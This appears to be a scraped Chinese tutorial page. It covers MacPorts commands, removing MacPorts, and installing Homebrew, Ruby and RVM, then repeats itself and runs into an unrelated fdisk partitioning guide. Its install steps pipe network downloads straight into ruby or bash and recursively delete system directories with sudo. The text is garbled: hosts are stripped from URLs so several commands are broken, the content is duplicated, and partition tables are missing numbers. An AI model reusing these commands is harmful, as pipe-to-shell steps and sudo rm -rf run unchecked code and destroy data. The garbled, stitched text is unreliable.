删除 mac macports 安装卡住好吗

Mac Port 基本用法总结
Mac Port 基本用法总结&1. Mac Port的下载地址&&2. Mac Port的说明文档&&3. Mac Port中第三方软件下载包存放的默认路径是:/opt/local/var/macports/distfiles/&为了提高安装速度,可以在安装新port时直接将此目录下的文件拷贝到新的Mac Port相同的目录中就可以避免Port去网上下载。&4. 使用Mac Port前应该首先更新Port的index&
$&sudo port selfupdate&Password:&Warning: port definitions are more than two weeks old, consider using selfupdate&---&& Updating the ports tree&---&& Updating MacPorts base sources using rsync&MacPorts base version 1.9.2 installed,&MacPorts base version 1.9.2 downloaded.&---&& MacPorts base is already the latest version&The ports tree has been updated. To upgrade your installed ports, you should run&& port upgrade outdated
5. 查看Mac Port中当前可用的软件包及其版本&
$&port list&rabbitmq-server&&&&&&&&&&&&&&& @2.4.0&&&&&&&&& net/rabbitmq-server&AppHack&&&&&&&&&&&&&&&&&&&&&&& @1.1&&&&&&&&&&& aqua/AppHack&AppKiDo&&&&&&&&&&&&&&&&&&&&&&& @0.985&&&&&&&&& aqua/AppKiDo&AquaLess&&&&&&&&&&&&&&&&&&&&&& @1.6&&&&&&&&&&& aqua/AquaLess&ArpSpyX&&&&&&&&&&&&&&&&&&&&&&& @1.1&&&&&&&&&&& aqua/ArpSpyX&AssignmentTrackerX&&&&&&&&&&&& @2.0beta3.1&&&& aqua/AssignmentTrackerX&BigSQL&&&&&&&&&&&&&&&&&&&&&&&& @1.0&&&&&&&&&&& aqua/BigSQL&BiggerSQL&&&&&&&&&&&&&&&&&&&&& @1.3.9&&&&&&&&& aqua/BiggerSQL&Books&&&&&&&&&&&&&&&&&&&&&&&&& @3.2.5c&&&&&&&& aqua/Books&......&
4. 在Mac Port如何搜索需要安装的软件包?&
$&port search maven&maven @1.0.2 (java, devel)&&&& A java-based build and project management environment.&maven-ant-tasks @2.0.10 (devel, java)&&&& Use many of Maven's artifact handling features from Ant.&maven2 @2.2.1 (java, devel)&&&& A java-based build and project management environment.&maven3 @3.0.3 (java, devel)&&&& A java-based build and project management environment.&maven_select @0.3 (sysutils)&&&& Switch the default Maven java build tool&Found 5 ports.
5. 搜索到需要安装的软件包之后,如何查看具体的软件包的内容和说明?&
$&port info maven2&maven2 @2.2.1, Revision 3 (java, devel)&Description:&&&&&&&&& Maven is a Java project management and project comprehension tool. Maven is based on the concept of a&&&&&&&&&&&&&&&&&&&&&& project object model (POM) in that all the artifacts produced by Maven are a result of consulting a&&&&&&&&&&&&&&&&&&&&&& well defined model for your project.Builds, documentation, source metrics, and source cross-references&&&&&&&&&&&&&&&&&&&&&& are all controlled by your POM. Maven 2.0 is a complete rewrite of Maven 1.0 and as such is better&&&&&&&&&&&&&&&&&&&&&& organized, faster and easier to use.&Homepage:&&&&&&&&&&&& http://maven.apache.org/&Build Dependencies:&& kaffe&Library Dependencies: maven_select&Platforms:&&&&&&&&&&& darwin&License:&&&&&&&&&&&&& unknown&Maintainers:&&&&&&&&& blair@macports.org,
6. 查看即将安装的或者已经安装的软件包的依赖关系&
$&port deps maven2&Full Name: maven2 @2.2.1_3&Build Dependencies:&& kaffe&Library Dependencies: maven_select
7. 查看安装时允许客户定制的参数&
$&port variants maven2&maven2 has no variants&
8. 查看了软件包的内容和说明,并确认确实要安装,则&
$&sudo port install maven2
9. 安装完毕之后,清除安装时产生的临时文件&
$&sudo port clean --all maven2&---&& Cleaning maven2
10. 卸载已经用Mac Port安装的软件&
sudo port uninstall maven2
阅读(...) 评论()MacPorts&命令详解
Ubuntu有apt-get, Red Hat和 CentOS有 yum, 这些强大、方便、功能完善的包管理器一直让 *uix
世界感到自豪,也是我从 Windows 转向 *nix 世界的一大动力。
然而最近我又整个“叛逃”到了 Mac 上, 那Mac上有什么类似的包管理器吗? 嗯, 有 MacPorts, 有 Fink .
Fink我没怎么用, 倒是MacPorts用的不少, 确实是挺方便的, 我也用了好久. 但是, MacPorts
的一些恶心的行为一直让我不爽, 比如我只想装个php, 他居然连带 apache2 等一大堆东西都给装上了, 还不能拒绝 :-( ,
再比如有时候明明有些依赖的程序包我机器里已经装好了, 它偏偏不用, 硬是要去下载几十M的源码来自己编译, 上帝啊,
邪恶的美帝根本不会体谅兲朝的小水管呀~~~~然而我一直只能忍着, 忍着…..
直到我遇到了Homebrew
&&& Homebrew
是一个全新的程序包管理器, 用 Ruby 开发而成, 轻巧, 智能. 它能自动判断当前机器的程序包的状况,
自动和系统中已经有的程序包整合在一起, 有了Homebrew, 世界清净多了 ^_^
&&& 安装Homebrew:
首先, Homebrew 声明自己和 MacPorts 和 Fink 不兼容, 用它就不要用 MacPorts(或Fink) , 用
MacPorts(或Fink) 就不要用它, 够绝…我喜欢.
先把 MacPorts 请出门:
&&& Hackintosh:~
liang$ sudo port -f uninstall installed
&&& Hackintosh:~
liang$ sudo rm -rf \
&&& /opt/local
/Applications/DarwinPorts \
/Applications/MacPorts \
/Library/LaunchDaemons/org.macports.* \
/Library/Receipts/DarwinPorts*.pkg \
/Library/Receipts/MacPorts*.pkg \
/Library/StartupItems/DarwinPortsStartup \
/Library/Tcl/darwinports1.0 \
/Library/Tcl/macports1.0 \
~/.macports
稀里哗啦, 清理了一堆我永远用不到然而 MacPorts 硬给我装上的东西, 干净多了. 然后是安装 Homebrew,
Homebrew 是用 Ruby 开发的, 这意味着, 你需要有一个 Ruby 解析器, 好在 Mac 默认已经自带了.
&&& Hackintosh:~
liang$ ruby -e “$(curl -fsS
/raw/323731/install_homebrew.rb)”
接下来就是全自动安装, 安装时间根据网络速度而定, 我去泡杯咖啡先….
==& Downloading and Installing Homebrew...
==& Installation successful!
&/blockquote&
&blockquote&
&&& Hackintosh:~
liang$ brew -v
&&& Hackintosh:~
liang$ brew install wget
==& Downloading
http://ftp.gnu.org/gnu/wget/wget-1.12.tar.bz2
########################################################
==& ./configure --disable-debug
--prefix=/usr/local/Cellar/wget/1.12 --disable-iri
==& make install /usr/local/Cellar/wget/1.12: 7
files, 540K, built in 47 seconds
&&& Hackintosh:~
liang$ which wget
/usr/local/bin/wget
可以看出来 Homebrew 把 wget 安装到了 /usr/local/bin 目录下, 清爽多了吧??
MacPorts 命令详解
MacPorts是一个mac电脑中常用的非常有用的软件编译,安装,管理开源软件的软件.
它有很多优点,会自动安装一个软件所依赖的软件,提供卸载方法.
MacPorts没有图形界面,这里介绍一些常用的命令.
port常用命令列表
selfupdade
&&& search
dependents
help通常用来查看某个指令的帮助说明
port help selfupdate
selfupdate
同步本地和全球的软件树,有必要时,同时升级mac port自己.
sudo port selfupdate
同步本地和全球的ports tree,但不检查自己是否有更新.
sudo port sync
列出当前所有的可用软件,如果想查找是否有自己想要的软件时,还是使用search指令方便一些.
模糊搜索,可以匹配软件名字和描述,还有更高级的用法,具体看port help search
port search rrd
查看一款软件的详细信息
port info flowd
查看一款软件的依赖关系
port deps apache2
在安装软件前,用这个命令查看软件是否有多个版本.再选择安装一个合适的版本.
port variants nmap
安装软件命令,安装前最好使用variants命令查看是否有多个不同版本.
sudo port install nmap
删除一些编译软件时留下的临时文件.
port clean --all vile
&&& 卸载软件命令
如果这个软件依赖与另外的一款软件,默认不删除它依赖的软件,
&&& 使用参数 -f
(force) 可以强行删除它依赖的软件.
port -f uninstall vile
显示软件安装后的文件列表.
port contents xorg-renderproto
列出全部或者指定的已经安装的软件.
port installed
port -v installed atlas
查看已经安装的软件是否有更新,在执行这个指令前,先执行selfupdate 或者 sync更新软件树
更新软件,默认一起更新它依赖的所有软件,如果想不更新它依赖的软件,使用 -n 参数
默认不删除旧软件版本,只是使旧软件变成无效状态,如果想要一起删除旧软件,使用 -u 参数
port upgrade gnome
port -n upgrade gnome
更新所有的可更新软件
port upgrade outdated
更新软件同时删除旧版本软件
port -u upgrade vile
dependents
查看哪些软件时依赖与这个软件的.删除一个软件时候,最好先执行一下这个命令.
port dependents openssl
这里要说的是删除MacPorts并安装Homebrew.
Mac是自带Ruby程式的,如果你之间”处理”过它,记得要确保它的存在.用ruby -v查看下版本号.
打开Terminal(终端)
删除MacPorts:
#原版使用MacPorts安装过的软件在/opt/local目录下,删除之前最好查看下,心里有个数.
&&& sudo port -f
uninstall installed
&&& sudo rm -rf
&&& /opt/local
/Applications/DarwinPorts \
/Applications/MacPorts \
/Library/LaunchDaemons/org.macports.* \
/Library/Receipts/DarwinPorts*.pkg \
/Library/Receipts/MacPorts*.pkg \
/Library/StartupItems/DarwinPortsStartup \
/Library/Tcl/darwinports1.0 \
/Library/Tcl/macports1.0 \
~/.macports
&&& sudo chown
-R `whoami` /usr/local
#不用每次都执行sudo操作
安装Homebrew:
&&& curl -L
/mxcl/homebrew/tarball/master | tar xz &strip 1 -C
/usr/local
&&& export
PATH=/usr/local/bin:$PATH
#等完毕后就安装好了,安装在了/usr/local目录下,可通过brew -v查看版本号
通过Homebrew安装软件:
查找你需要的软件使用brew search * 命令,安装使用brew install
*命令(用具体的软件名称替换*),下面演示:
&&& brew search
&&& brew install
如果你想安装vim,wget或者unrar等其它各类软件,都这么做去吧.
另外,你已经安装了git了,那么建立了本地的git仓库,执行如下:
/usr/local
&&& git remote
add origin git:///mxcl/homebrew.git
&&& git pull
origin master
如果GitHub上有项目,也可直接拿下:
&&& git clone
/YOURGITHUBUSERNAME/homebrew.git
/tmp/homebrew
其它Homebrew指令:
list&& —列出已安装的软件
update&& —更新Homebrew
home& *—用浏览器打开
info&& *—显示软件内容信息
&&& brew deps *
— 显示包依赖
&&& brew server
*& —启动web服务器,可以通过浏览器访问http://localhost:4567/
来同网页来管理包
&&& brew -h
brew&& —帮助
删除Homebrew:
万一你用的不爽了,告诉你卸载指令:
&&& cd `brew
&&& rm -rf
&&& rm -rf
Library .git .gitignore bin/brew README.md
share/man/man1/brew
&&& rm -rf
~/Library/Caches/Homebrew
&&& Homebrew
用Ruby语言开发,支持千余种开源软件在 Mac OS X 中的部署和管理。Homebrew 项目托管在 Github
上,网址为:/mxcl/homebrew。
首先是安装 Homebrew,执行下面的命令:
&&& $ ruby -e
\& "$(curl -fsSL
/raw/323731/install_homebrew.rb)"
安装完成后,Homebrew 的主程序安装在 /usr/local/bin/brew 中,在目录
/usr/local/Library/Formula/ 下保存了Homebrew 支持的所有软件的安装指引文件。
执行下面的命令,通过Homebrew安装Git。
&&& $ brew
install git
使用 Homebrew 方式安装,Git 被安装在
/usr/local/Cellar/git/&version&/
中,可执行程序自动在 /usr/local/bin 目录下创建符号连接,可以直接在终端程序中访问。
通过 brew list 命令可以查看安装的开源软件包。
&&& $ brew
也可以查看某个软件包安装的详细路径和安装内容。
&&& $ brew list
/usr/local/Cellar/git/1.7.4.1/bin/gitk&
homebrew的安装步骤:
安装之前先执行一下 sudo chown -r `whoami` /usr/local 这样就不用每次都用sudo了。
/mxcl/homebrew/tarball/master | tar xz --strip 1
-c /usr/local
&export path=/usr/local/bin:$path
&brew install git
&cd /usr/local
&git remote add origin
git:///mxcl/homebrew.git
&git pull origin master
homebrew的使用:
搜索软件:&&&&&&&&&&&&&&&
brew search 软件名
安装软件:&&&&&&&&&&&&&&&
brew install 软件名
列出已安装的软件:&&&
更新homebrew的新版本: brew update
1、安装Ruby,
 找到”最新发布项目”,点击”下载”,进入下载列表页面。
该页面列出了Ruby当前的所有版本,写本文时最新版本是:1.8.6-25。版本发布日期:
2、下载”ruby186-25.exe”,大约22M。然后安装。One-Click
Installer 一键安装,很适合新手。
3、学过Java的都知道,接下来需要配置ClassPath,在环境变量中新增环境变量名”RUBY_HOME”,变量值”D:\ruby”,该值以本机Ruby安装目录为准。然后在 path
加入”%BURY_HOME%\bin”。
4、测试Ruby是否安装成功
在命令行下运行 ruby -v ,显示如下:
ruby 1.8.6 ( patchlevel 0) [i386-mswin32]
如果不放心,再运行 ruby -e ‘puts “hello world”‘ ,显示如下:
hello world
在lion下安装rails会提示你的ruby版本为1.8.7,而新版本的rails3.x需要1.9.x的ruby支持。
所以,必须对ruby进行升级,经过各种凌乱和不成功终于摸索出经验。现在记录一下。
&&& 通过app
store安装xcode
xcode安装好后,打开xcode
选择preferences
选择downloads选项卡
&&& 安装command
line tools(因为终端里没有gcc的编译环境)
打开终端输入下面两条命令(安装rvm,ruby多版本控制器,通过rvm安装最新版本的ruby)
&&& curl -L
get.rvm.io | bash -s stable
&&& rvm install
ruby 1.9.3
安装RVM命令:
bash & &( curl
/releases/rvm-install-head
然后修改用户配置文件/Users/username/.profile,你也可以写到别的全局配置里.
添加一行代码:
[[ -s "$HOME/.rvm/scripts/rvm" ]]
"$HOME/.rvm/scripts/rvm"& # This loads RVM into a
shell session.
如果"$HOME/.rvm/scripts/rvm" 存在,则执行
重启Terminal,RVM就安装好了. RVM的使用过程中不需要使用sudo,gem也不需要.
然后就可以安装ruby了,例如:
rvm install ruby-1.8.7 --head --docs
--docs是编译安装后自动生成文档,--head是最新的版本
删除某个版本的ruby,并且把文档和gems都删除,则:
rvm remove ruby-1.8.7 --docs --gems
rvm use ruby-1.8.7 --default
查询当前版本:
rvm除了可以管理不同的ruby版本外,还可以为每个ruby版本创建不同的Gem集合(gemsets),从而使不同的Ruby应用可以独立使用自己的Gem集合。比如在使用ruby-1.9.2-p290的情况下,我需要建立两个rails工程,一个使用rails-3.0,一个使用rails-3.1.0,我们便可创建两个gemset,并在各个gemset下分别安装对应的rails版本和所需其他Gem:
rvm gemset create
rails-3.0&&&&&&&&&&&
#创建名为rails-3.0的gemset
1.9.2-p290@rails-3.0&&&&&&&&&&&&&&
#使用ruby-1.9.2-p290并使用rails-3.0 gemset
gem install rails -v
3.0&&&&&&&&&&&&&&&&&&&
#在rails-3.0 gemset下安装rails的3.0版本
rvm gemset create
rails-3.1.0&&&&&&&&
#创建名为rails-3.1.0的gemset
1.9.2-p290@rails-3.1.0&&&&&&&&&&&
#使用ruby-1.9.2-p290并使用rails-3.1.0 gemset
gem install rails -v
3.1.0&&&&&&&&&&&&&&&&
#在rails-3.0 gemset下安装rails的3.1.0版本
现在就开始使用rvm安装ruby
1.打开终端,必须先安装git.
bash -s stable & &(curl -s
/wayneeseguin/rvm/master/binscripts/rvm-installer)
等待rvm安装好之后,配置环境变量,在当前用户目录下输入
sudo vim .bash_profile
在.bash_profile文件中加入
[[ -s "$HOME/.rvm/scripts/rvm" ]]
"$HOME/.rvm/scripts/rvm"
source一下,就可以使用rvm了。
3.下面开始安装ruby了。
查看资源。
&&& rvm list
4.安装ruby
&&& rvm install
ruby --head&
5.使用ruby
&&& rvm use
1.9.3 --default&&
&&& gem update
uninstall rubygems-update&
&&& gem sources
-r http://rubygems.org/&
&&& gem sources
-a http://ruby.taobao.org&
6.安装rails
&&& gem install
-V查看过程
已投稿到:
以上网友发言只代表其个人观点,不代表新浪网的观点或立场。[ftp命令详解]MacPorts命令详解
· · · ·
您当前的位置: → [ftp命令详解]MacPorts命令详解
[ftp命令详解]MacPorts命令详解
篇一 : MacPorts命令详解Ubuntu有apt-get, Red Hat和 CentOS有 yum, 这些强大、方便、功能完善的包管理器一直让 *uix世界感到自豪,也是我从 Windows 转向 *nix 世界的一大动力。然而最近我又整个“叛逃”到了 Mac 上, 那Mac上有什么类似的包管理器吗? 嗯, 有 MacPorts, 有 Fink .Fink我没怎么用, 倒是MacPorts用的不少, 确实是挺方便的, 我也用了好久. 但是, MacPorts的一些恶心的行为一直让我不爽, 比如我只想装个php, 他居然连带 apache2 等一大堆东西都给装上了, 还不能拒绝 :-( ,再比如有时候明明有些依赖的程序包我机器里已经装好了, 它偏偏不用, 硬是要去下载几十M的源码来自己编译, 上帝啊,邪恶的美帝根本不会体谅兲朝的小水管呀~~~~然而我一直只能忍着, 忍着…..直到我遇到了Homebrew Homebrew是一个全新的程序包管理器, 用 Ruby 开发而成, 轻巧, 智能. 它能自动判断当前机器的程序包的状况,自动和系统中已经有的程序包整合在一起, 有了Homebrew, 世界清净多了 ^_^ 安装Homebrew:首先, Homebrew 声明自己和 MacPorts 和 Fink 不兼容, 用它就不要用 MacPorts(或Fink) , 用MacPorts(或Fink) 就不要用它, 够绝…我喜欢.先把 MacPorts 请出门: Hackintosh:~liang$ sudo port -f uninstall installed Hackintosh:~liang$ sudo rm -rf \ /opt/local\/Applications/DarwinPorts \/Applications/MacPorts \/Library/LaunchDaemons/org.macports.* \/Library/Receipts/DarwinPorts*.pkg \/Library/Receipts/MacPorts*.pkg \/Library/StartupItems/DarwinPortsStartup \/Library/Tcl/darwinports1.0 \/Library/Tcl/macports1.0 \~/.macports稀里哗啦, 清理了一堆我永远用不到然而 MacPorts 硬给我装上的东西, 干净多了. 然后是安装 Homebrew,Homebrew 是用 Ruby 开发的, 这意味着, 你需要有一个 Ruby 解析器, 好在 Mac 默认已经自带了. Hackintosh:~liang$ ruby -e “$(curl -fsS/raw/323731/install_homebrew.rb)”接下来就是全自动安装, 安装时间根据网络速度而定, 我去泡杯咖啡先….==& Downloading and Installing Homebrew...==& Installation successful!&/blockquote& 搞定!试一下:&blockquote&&pre& Hackintosh:~liang$ brew -v 0.6 Hackintosh:~liang$ brew install wget==& Downloadinghttp://ftp.gnu.org/gnu/wget/wget-1.12.tar.bz2########################################################100.0%==& ./configure --disable-debug--prefix=/usr/local/Cellar/wget/1.12 --disable-iri==& make install /usr/local/Cellar/wget/1.12: 7files, 540K, built in 47 seconds Hackintosh:~liang$ which wget/usr/local/bin/wget可以看出来 Homebrew 把 wget 安装到了 /usr/local/bin 目录下, 清爽多了吧??MacPorts 命令详解MacPorts是一个mac电脑中常用的非常有用的软件编译,安装,管理开源软件的软件.它有很多优点,会自动安装一个软件所依赖的软件,提供卸载方法.MacPorts没有图形界面,这里介绍一些常用的命令.port常用命令列表 helpselfupdade sync list search info depsvariantsinstall cleanuninstallcontentsinstalledoutdatedupgradedependentshelphelp通常用来查看某个指令的帮助说明port help selfupdateselfupdate同步本地和全球的软件树,有必要时,同时升级mac port自己.sudo port selfupdatesync同步本地和全球的ports tree,但不检查自己是否有更新.sudo port synclist列出当前所有的可用软件,如果想查找是否有自己想要的软件时,还是使用search指令方便一些.port listsearch模糊搜索,可以匹配软件名字和描述,还有更高级的用法,具体看port help searchport search rrdinfo查看一款软件的详细信息port info flowddeps查看一款软件的依赖关系port deps apache2variants在安装软件前,用这个命令查看软件是否有多个版本.再选择安装一个合适的版本.port variants nmapinstall安装软件命令,安装前最好使用variants命令查看是否有多个不同版本.sudo port install nmapclean删除一些编译软件时留下的临时文件.port clean --all vileuninstall 卸载软件命令如果这个软件依赖与另外的一款软件,默认不删除它依赖的软件, 使用参数 -f(force) 可以强行删除它依赖的软件.port -f uninstall vilecontents显示软件安装后的文件列表.port contents xorg-renderprotoinstalled列出全部或者指定的已经安装的软件.port installedport -v installed atlasoutdated查看已经安装的软件是否有更新,在执行这个指令前,先执行selfupdate 或者 sync更新软件树upgrade更新软件,默认一起更新它依赖的所有软件,如果想不更新它依赖的软件,使用 -n 参数默认不删除旧软件版本,只是使旧软件变成无效状态,如果想要一起删除旧软件,使用 -u 参数port upgrade gnomeport -n upgrade gnome更新所有的可更新软件port upgrade outdated更新软件同时删除旧版本软件port -u upgrade viledependents查看哪些软件时依赖与这个软件的.删除一个软件时候,最好先执行一下这个命令.port dependents openssl这里要说的是删除MacPorts并安装Homebrew.准备条件:Mac是自带Ruby程式的,如果你之间”处理”过它,记得要确保它的存在.用ruby -v查看下版本号.安装xcode打开Terminal(终端)删除MacPorts:#原版使用MacPorts安装过的软件在/opt/local目录下,删除之前最好查看下,心里有个数. sudo port -funinstall installed sudo rm -rf\ /opt/local\/Applications/DarwinPorts \/Applications/MacPorts \/Library/LaunchDaemons/org.macports.* \/Library/Receipts/DarwinPorts*.pkg \/Library/Receipts/MacPorts*.pkg \/Library/StartupItems/DarwinPortsStartup \/Library/Tcl/darwinports1.0 \/Library/Tcl/macports1.0 \~/.macportsNo sudo: sudo chown-R `whoami` /usr/local#不用每次都执行sudo操作安装Homebrew: curl -L/mxcl/homebrew/tarball/master | tar xz &strip 1 -C/usr/local exportPATH=/usr/local/bin:$PATH#等完毕后就安装好了,安装在了/usr/local目录下,可通过brew -v查看版本号通过Homebrew安装软件:查找你需要的软件使用brew search * 命令,安装使用brew install*命令(用具体的软件名称替换*),下面演示: brew searchgit brew installgit如果你想安装vim,wget或者unrar等其它各类软件,都这么做去吧.另外,你已经安装了git了,那么建立了本地的git仓库,执行如下: cd/usr/local gitinit git remoteadd origin git:///mxcl/homebrew.git git pullorigin master如果GitHub上有项目,也可直接拿下: git clone/YOURGITHUBUSERNAME/homebrew.git/tmp/homebrew其它Homebrew指令: brewlist —列出已安装的软件 brewupdate —更新Homebrew brewhome *—用浏览器打开 brewinfo *—显示软件内容信息 brew deps *— 显示包依赖 brew server* —启动web服务器,可以通过浏览器访问http://localhost:4567/来同网页来管理包 brew -hbrew —帮助删除Homebrew:万一你用的不爽了,告诉你卸载指令: cd `brew&prefix` rm -rfCellar brewprune rm -rfLibrary .git .gitignore bin/brew README.mdshare/man/man1/brew rm -rf~/Library/Caches/Homebrew Homebrew用Ruby语言开发,支持千余种开源软件在 Mac OS X 中的部署和管理。Homebrew 项目托管在 Github上,网址为:/mxcl/homebrew。首先是安装 Homebrew,执行下面的命令: $ ruby -e\ "$(curl -fsSL/raw/323731/install_homebrew.rb)"安装完成后,Homebrew 的主程序安装在 /usr/local/bin/brew 中,在目录/usr/local/Library/Formula/ 下保存了Homebrew 支持的所有软件的安装指引文件。执行下面的命令,通过Homebrew安装Git。 $ brewinstall git使用 Homebrew 方式安装,Git 被安装在/usr/local/Cellar/git/&version&/中,可执行程序自动在 /usr/local/bin 目录下创建符号连接,可以直接在终端程序中访问。通过 brew list 命令可以查看安装的开源软件包。 $ brewlist git也可以查看某个软件包安装的详细路径和安装内容。 $ brew listgit/usr/local/Cellar/git/1.7.4.1/bin/gitk ...homebrew的安装步骤:安装之前先执行一下 sudo chown -r `whoami` /usr/local 这样就不用每次都用sudo了。curl -l/mxcl/homebrew/tarball/master | tar xz --strip 1-c /usr/localexport path=/usr/local/bin:$pathbrew install gitcd /usr/localgit initgit remote add origingit:///mxcl/homebrew.gitgit pull origin masterhomebrew的使用:搜索软件:brew search 软件名安装软件:brew install 软件名列出已安装的软件:brew list更新homebrew的新版本: brew update1、安装Ruby, 找到”最新发布项目”,点击”下载”,进入下载列表页面。该页面列出了Ruby当前的所有版本,写本文时最新版本是:1.8.6-25。版本发布日期:2、下载”ruby186-25.exe”,大约22M。然后安装。One-ClickInstaller 一键安装,很适合新手。3、学过Java的都知道,接下来需要配置ClassPath,在环境变量中新增环境变量名”RUBY_HOME”,变量值”D:\ruby”,该值以本机Ruby安装目录为准。然后在 path加入”%BURY_HOME%\bin”。4、测试Ruby是否安装成功在命令行下运行 ruby -v ,显示如下:ruby 1.8.6 ( patchlevel 0) [i386-mswin32]如果不放心,再运行 ruby -e ‘puts “hello world”‘ ,显示如下:hello world在lion下安装rails会提示你的ruby版本为1.8.7,而新版本的rails3.x需要1.9.x的ruby支持。所以,必须对ruby进行升级,经过各种凌乱和不成功终于摸索出经验。现在记录一下。 通过appstore安装xcodexcode安装好后,打开xcode选择preferences选择downloads选项卡 安装commandline tools(因为终端里没有gcc的编译环境)打开终端输入下面两条命令(安装rvm,ruby多版本控制器,通过rvm安装最新版本的ruby) curl -Lget.rvm.io | bash -s stable rvm installruby 1.9.3安装RVM命令:bash & &( curl/releases/rvm-install-head)然后修改用户配置文件/Users/username/.profile,你也可以写到别的全局配置里.添加一行代码:[[ -s "$HOME/.rvm/scripts/rvm" ]]&& ."$HOME/.rvm/scripts/rvm" # This loads RVM into ashell session.如果"$HOME/.rvm/scripts/rvm" 存在,则执行重启Terminal,RVM就安装好了. RVM的使用过程中不需要使用sudo,gem也不需要.然后就可以安装ruby了,例如:rvm install ruby-1.8.7 --head --docs--docs是编译安装后自动生成文档,--head是最新的版本删除某个版本的ruby,并且把文档和gems都删除,则:rvm remove ruby-1.8.7 --docs --gems选择版本:rvm use ruby-1.8.7 --default查询当前版本:rvm info列出版本:rvm listrvm除了可以管理不同的ruby版本外,还可以为每个ruby版本创建不同的Gem集合(gemsets),从而使不同的Ruby应用可以独立使用自己的Gem集合。比如在使用ruby-1.9.2-p290的情况下,我需要建立两个rails工程,一个使用rails-3.0,一个使用rails-3.1.0,我们便可创建两个gemset,并在各个gemset下分别安装对应的rails版本和所需其他Gem:rvm gemset createrails-3.0#创建名为rails-3.0的gemsetrvm1.9.2-p290@rails-3.0#使用ruby-1.9.2-p290并使用rails-3.0 gemsetgem install rails -v3.0#在rails-3.0 gemset下安装rails的3.0版本rvm gemset createrails-3.1.0#创建名为rails-3.1.0的gemsetrvm1.9.2-p290@rails-3.1.0#使用ruby-1.9.2-p290并使用rails-3.1.0 gemsetgem install rails -v3.1.0#在rails-3.0 gemset下安装rails的3.1.0版本现在就开始使用rvm安装ruby1.打开终端,必须先安装git.bash -s stable & &(curl -s/wayneeseguin/rvm/master/binscripts/rvm-installer)等待rvm安装好之后,配置环境变量,在当前用户目录下输入sudo vim .bash_profile在.bash_profile文件中加入[[ -s "$HOME/.rvm/scripts/rvm" ]]&& source"$HOME/.rvm/scripts/rvm"source一下,就可以使用rvm了。3.下面开始安装ruby了。查看资源。 rvm listknown4.安装ruby rvm installruby --head5.使用ruby rvm use1.9.3 --default5.更换源 gem update--system gemuninstall rubygems-update gem sources-r http://rubygems.org/ gem sources-a http://ruby.taobao.org6.安装rails gem installrails -V-V查看过程篇二 : linux_fdisk命令详解fdisk -l可以列出所有的分区,包括没有挂上的分区和usb设备.我一般用这个来查找需要挂载的分区的位置,比如挂上u盘.实例解说Linux中fdisk分区使用方法 :笔记:fdisk -l&列出全部的分区一、fdisk 的介绍;fdisk - Partition table manipulator for Linux ,译成中文的意思是磁盘分区表操作工具;本人译的不太好,也没有看中文文档;其实就是分区工具;fdsik 能划分磁盘成为若干个区,同时也能为每个分区指定分区的文件系统,比如linux 、fat32、 linux 、linux swap 、fat16 以及其实类Unix类操作系统的文件系统等;当然我们用fdisk 对磁盘操作分区时,并不是一个终点,我们还要对分区进行格式化所需要的文件系统;这样一个分区才能使用;这和DOS中的fdisk 是类似的;笔记:先对一块物理硬盘做一个逻辑分区使用fdisk工具。(]然后对逻辑分区进行分配相应的文件系统。这样的分区才可以使用的。咦那我通过使用df命令之后怎么判断它的文件系统是什么/.二、合理规划您的硬盘分区;在操作分区之前,我们要明白硬盘分区一点理论,比如硬盘容量和分区大小的计算;对一个硬盘如何规划分区等,请参考如下文档,谢谢;《合理规划您的硬盘分区》------- 深有感触呀!三、fdisk -l 查看硬盘及分区信息;通过《合理规划您的硬盘分区》 ,我们知道主分区(包括扩展分区)的总个数不能超过四个;也不能把扩展分区包围在主分区之间;根据这个原则,我们划分硬盘分区就比较容易的多;也能为以后减少不必要的麻烦;1、通过fdisk -l 查看机器所挂硬盘个数及分区情况;[root@localhost beinan]# fdisk -l以下是表示第一块硬盘 hdaDisk /dev/hda: 80.0 GB,
bytes255 heads, 63 sectors/track, 9729 cylindersUnits = cylinders of 16065 * 512 = 8225280 bytesDevice Boot Start End Blocks Id System/dev/hda1 * 1 765
HPFS/NTFS&&&&&主分区/dev/hda2 766 0 c W95 FAT32 (LBA)&主分区/dev/hda3
Extended&&&&扩展分区/dev/hda5 93118+ 83 Linux&&&&&逻辑分区/dev/hda6
Linux&&&&&逻辑分区/dev/hda7 7153+ 82 Linux swap / Solaris 逻辑分区/dev/hda8
Linux&&&&&逻辑分区/dev/hda9 87523+ 83 Linux&&&&&逻辑分区/dev/hda10
Linux&&&&逻辑分区以下是表示第二块硬盘sdaDisk /dev/sda: 1035 MB,
bytes256 heads, 63 sectors/track, 125 cylindersUnits = cylinders of 16128 * 512 = 8257536 bytesDevice Boot Start End Blocks Id System/dev/sda1 1 25 201568+ c W95 FAT32 (LBA)&&&主分区/dev/sda2 26 125
Extended&&&&&&扩展分区/dev/sda5 26 50
Linux/dev/sda6 51 76
Linux通过上面的信息,我们知道此机器中挂载两个硬盘(或移动硬盘),其中一个是hda 另一个是sda ;如果我们想查看单个硬盘情况,可以通过 fdisk -l /dev/hda1 或者fdisk -l /dev/sda1 来操作;以fdisk -l 输出的硬盘标识为准;其中 hda有三个主分区(包括扩展分区),分别是主分区 hda1 hda2 和hda3(扩展分区) ;逻辑分区是 hda5到hda10;其中 sda 有两个主分区(包括扩展分区),分别是 hda1 和hda2 (扩展分区);逻辑分区是 sda5 hda6 ;硬盘总容量=主分区(包括扩展分区)总容量扩展分区容量=逻辑分区总容量通过上面的例子,我们可以得知 hda=hda1+hda2+hda3,其中hda3=hda5+hda6+hda7+hda8+hda9+hda10 && &&逻辑分区的作用是什么呢?2、关于fdisk -l 一些数值的说明;Disk /dev/hda: 80.0 GB,
bytes255 heads, 63 sectors/track, 9729 cylindersUnits = cylinders of 16065 * 512 = 8225280 bytes这个硬盘是80G的,有255个磁面;63个扇区;9729个磁柱;每个 cylinder(磁柱)的容量是 8225280 bytes= K(约为)=8.225280M(约为);分区序列 引导 开始 终止 容量 分区类型ID 分区类型Device Boot Start End Blocks Id System/dev/hda1 * 1 765
HPFS/NTFS/dev/hda2 766 0 c W95 FAT32 (LBA)/dev/hda3
Extended/dev/hda5 93118+ 83 Linux/dev/hda6
Linux/dev/hda7 7153+ 82 Linux swap / Solaris/dev/hda8
Linux/dev/hda9 87523+ 83 Linux/dev/hda10
